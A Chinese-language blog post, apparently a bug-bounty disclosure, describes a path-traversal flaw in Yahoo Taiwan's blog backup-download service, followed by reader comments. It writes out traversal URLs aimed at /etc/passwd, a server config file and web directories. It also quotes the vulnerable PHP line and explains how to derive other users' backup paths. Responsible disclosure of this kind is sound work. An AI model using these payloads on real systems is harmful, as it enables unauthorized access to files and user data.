Yahoo 開始有了 Bug Bounty 制度,
緣起也滿有趣的,
國外有個資安專家找到 Yahoo 的 XSS 漏洞結果回報後只得到 $12.50 Yahoo Company Store 優惠卷,
結果當然超不爽的,只好 po 個 爆料文 XDDD
結果開始各界撻伐 Yahoo 事情越演越烈,Yahoo Security Team 的 Director 只好發文解釋,
(不負責任標題翻譯: 對,我就是那個送你感謝潮T的人)
內文大意整件事件的始末,
說明 Yahoo 並沒有完善的漏洞通報流程機制,
(商品卷還是自掏腰包買的)
說明會改善這個機制,會有新的獎勵機制在 10/31 公佈,並且新的機制可追溯到 7/1 號後回報漏洞的人,
並承諾會有 $150 - $15000 的 Reward
(所以至少會有 150 美金耶$_$)
當初看到時覺得挺有趣的就找了幾個問題回報 Yahoo,
Client Side 如 XSS 就算了,比較關注在 Server Side 上面的弱點,
(可以直接打進 Server 比較爽)
主要回報流程是寄到 security@yahoo-inc.com 這個信箱進行回報的動作,
(英文來來回回了好多信,英文苦手嗚嗚T_T)
經過回信確認且修補完成後來發個文章記錄一下細節,
有找過兩個弱點,預計分成兩篇文章記錄一下攻擊思路跟細節
第一篇是 台灣 Yahoo Blog 的任意檔案下載漏洞
第二篇是 *.login.yahoo.com Remote Code Execution 遠端代碼執行漏洞
其實兩個都不算少見的 Vulnerability,發現也不難,只是比起一般弱點,
第一個需要細心以及一些經驗,
第二個必須要瞭解漏洞原理並且改寫漏洞攻擊代碼
##### 正文開始 #####
Yahoo Blog 以及無名小站將於今年關閉,官方提供了一個線上備份下載的服務,
無名小站以及 Yahoo 部落格有著我國高中時期青春美好回憶,
到底這樣的服務有沒有問題呢? 讓我們繼續看下去,
點擊備份,完成後會得到一個鏈結,<username> 是自己的使用者帳號,
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=<username>-twblog.zip
點了可以下載
(廢話)
本著閒閒沒事找事做的心態,
<username> 的部分改成別人的使用者名稱會成功嗎?
登登,看起來失敗了 T__T
不過沒關係我們可以來研究研究,把網址改成
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=./<username>-twblog.zip
會怎麼樣呢?
It works
(感動T_T)
看起來是有東西可以玩玩,
踹踹 passwd
http://tw.download.blog.yahoo.com/eol/user_start_download.php失敗T_T
?filename=../../../../../etc/passwd
不過 /tmp 下的檔案卻可以成功,
http://tw.download.blog.yahoo.com/eol/user_start_download.php大致先猜想有 open_basedir 之類的限制,
?filename=../../../../../tmp/.ICE-unix
那換成一個逗點看看呢?
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=.
檔名是 user_start_download.php
大小是 8.0 KB不過實際下載後,內容是空的,
大致可以先猜想一下程式邏輯檔名部分先取得,最後再組裝路徑去讀取,
(或者發生某些錯誤)
再把網址換成
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=/
檔名變成了 7fee0293d346458a97363c56378e68d5,
配合前面幾個測試,大致可以猜想程式的邏輯,
檔案存放的路徑在 <user-hash> / <username> -twblog.zip
不過似乎 zip 存放的地方與 webroot 不同,又有 open_basedir 的限制不能跳出來,
不過如果我們可以猜到 web 路徑或是 web server 的設定檔路徑,還是有機會可以繼續玩下去的!
經過一些猜測搜尋以及發揮你駭客的直覺!會發現設定檔在:
/home/y/conf/yapache/yapache.conf
直接讀了啦!!!
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=../../../../../home/y/conf/yapache/yapache.conf
BINGO ^____^
由於 Server 又是 Unix 或是 bsd-like 的系統,所以可以直接讀取目錄
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=../../../../home/y/share/htdocs/intlblogs/
最後就是讀 PHP 的 Source Code,來看一下程式邏輯到底是怎麼寫的?
$filename 從 GET 取得,沒經過檢查就放入路徑
$downloadFile = $downloadServer .$md5yuid. '/'. $filename;
最後再丟入 fopen 進行讀取的動作 ,
$md5yuid 應該就是剛剛所說的 <user-hash>,產生方式是 md5($yuid)
$yuid 雖然不明瞭如何產生,不過在進行備份的動作時可以看到自己送出去的 yuid,
多看幾個賬號的 yuid 靠歸納法大致可以知道是
<username>#<2_bytes_random_char>
( Ex: account#gy )
看懂的應該很好寫一個下載任意帳號備份的 Proof-of-Concept 吧XD
到此結案收收寄信通報XD
八卦是程式碼裡面有看到簡體字還有表情符號滿可愛的 XDD
神人!
回覆刪除既然有part 1......
回覆刪除所以表示還會有part 2囉?XDD
Part 2 也許是無名吧?
刪除有找過兩個弱點,預計分成兩篇文章記錄一下攻擊思路跟細節
刪除第一篇是 台灣 Yahoo Blog 的任意檔案下載漏洞
第二篇是 *.login.yahoo.com Remote Code Execution 遠端代碼執行漏洞
想請問一下如何利用"歸納法" 知道是#<2_bytes_random_char> ?
回覆刪除多踹幾次用眼睛看XD
刪除大大厲害!
回覆刪除